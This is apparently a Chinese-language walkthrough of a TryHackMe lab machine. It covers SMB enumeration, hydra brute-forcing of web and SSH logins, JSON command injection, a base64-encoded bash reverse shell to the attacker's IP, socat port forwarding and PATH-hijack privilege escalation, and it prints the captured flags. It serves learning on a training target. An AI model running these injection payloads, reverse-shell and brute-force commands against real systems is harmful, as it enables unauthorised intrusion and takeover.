端口扫描

只有一个Web端口还有SMB服务

SMB

因为Web进去发现要登录,我们现在又没有任何信息,所以先转向SMB。

enum4linux -a ip

发现一个共享但是无法访问

发现了两个用户,然后也就没什么信息了。

Web

我们继续转到80端口,有了用户名,没其他信息,只能试着爆破了

发现登录框是GET请求,那用hydra的方式应该和之前POST表单不太一样

fox用户爆不出来,rascal可以

hydra -l rascal -P /usr/share/wordlists/rockyou.txt 10.10.88.192 http-get

貌似每次开启靶机的密码都不一样

发现是一个搜索系统

发现我们搜索的东西是以JSON类型上传的

而且他给我们显示了三个文件

抓包放到bp的重放器中,可以看到这个搜索的功能是在search.php执行的,我们可以猜测是一个命令执行语句

然后不会了,看WP!用的是JSON注入

上传类似于

{"target":"\";要执行的命令;\""}

想了好久,不太懂,在这位师傅写的文章理解了

https://blog.csdn.net/qq_54704239/article/details/130174686?ops_request_misc=&request_id=80ea9a6a461b471a8d53f7857a024059&biz_id=&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~koosearch~default-1-130174686-null-null.268^v1^control&utm_term=fox&spm=1018.2226.3001.4450

Getshell

于是执行反向shell,因为发现有过滤”&”,所以用base64来进行编码

编码前:/bin/bash -i >& /dev/tcp/10.14.52.15/1234 0>&1

命令换成

echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjE0LjUyLjE1LzEyMzQgMD4mMQ== |base64 -d |bash

将这段字符串base64解码后给bash来执行

开启监听,成功连接

locate web

cat /var/www/web-flag.txt

THM{Nzg2ZWQwYWUwN2UwOTU3NDY5ZjVmYTYw}

横向移动

cat /etc/passwd

发现有fox和rascal两个用户

之前搜索里的三个文件也没什么东西,而且还不能用”su”来切换用户

又不会了,看WP

ss -tlnp可以查看这台机子在监听什么tcp端口

我们发现实际上有开启ssh端口,但是只能在内网访问,所以我们nmap扫描不出来(?)

cat /etc/ssh/ssh_config,发现只有fox用户可以ssh

所以要做端口转发来连接fox

具体操作如下,我们要使用socat

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat

在这里下载static binary的socat,是编译好了的且与库连接在一起的,之前搞了半天传了个没带库的回报库不存在

复制一份socat的二进制到kali的桌面,上传到靶机

python -m http.server 80 

开启python服务器

在shell中cd /tmp,因为www-data的权限太小了,所以在临时目录/tmp下执行比较常见

wget http://ip/socat

chmod +x socat

./socat TCP-LISTEN:2222,fork TCP:127.0.0.1:22 

将开启一个2222端口的监听,并把传入到2222端口的连接转发至22端口

这样我们就可以用kali来连接2222端口

接下来用hydra爆破fox用户的密码

hydra -l fox -P /usr/share/wordlists/rockyou.txt ssh://靶机ip:2222 -t 4

这个密码貌似也是每次都不一样,我这里爆出来是tigers

ssh fox@10.10.88.192 -p 2222

user.txt

THM{Njg3NWZhNDBjMmNlMzNkMGZmMDBhYjhk}

提权

sudo -l发现能执行一个shutdown命令,GTFOBINS中没有,估计是一个特殊的二进制文件

scp -P 2222 fox@10.10.88.192:/usr/sbin/shutdown ~/桌面

下载下来用IDA查看

发现是执行了系统命令poweroff

而这个poweroff命令是/sbin/poweroff目录下,那我们就可以用添加环境变量的方式来新开一个bash来获取root权限

我们先CD至/tmp目录,创建一个poweroff

chmod +x poweroff

export PATH=/tmp:$PATH

我们发现/tmp目录了在/sbin之前了,也就会先执行/tmp目录下的poweroff

提权成功

最后还藏了一手

THM{ODM3NTdkMDljYmM4ZjdhZWFhY2VjY2Fk}

PS:给的那个PRIZE解码后一串16进制,不知道是干嘛的233

碎碎念

这个靶机才开始真的感觉到上强度了但也还好,花了比较多的时间了解了JSON注入然后碰到了端口转发,这次也是了解了如何看ssh开设在内网。虽然之前碰到了好几次,但再次碰到还是会有磕磕碰碰,尤其是在不知道密码的情况下。提权还是挺简单的环境变量劫持。嗯,期待这个系列接下来的靶机!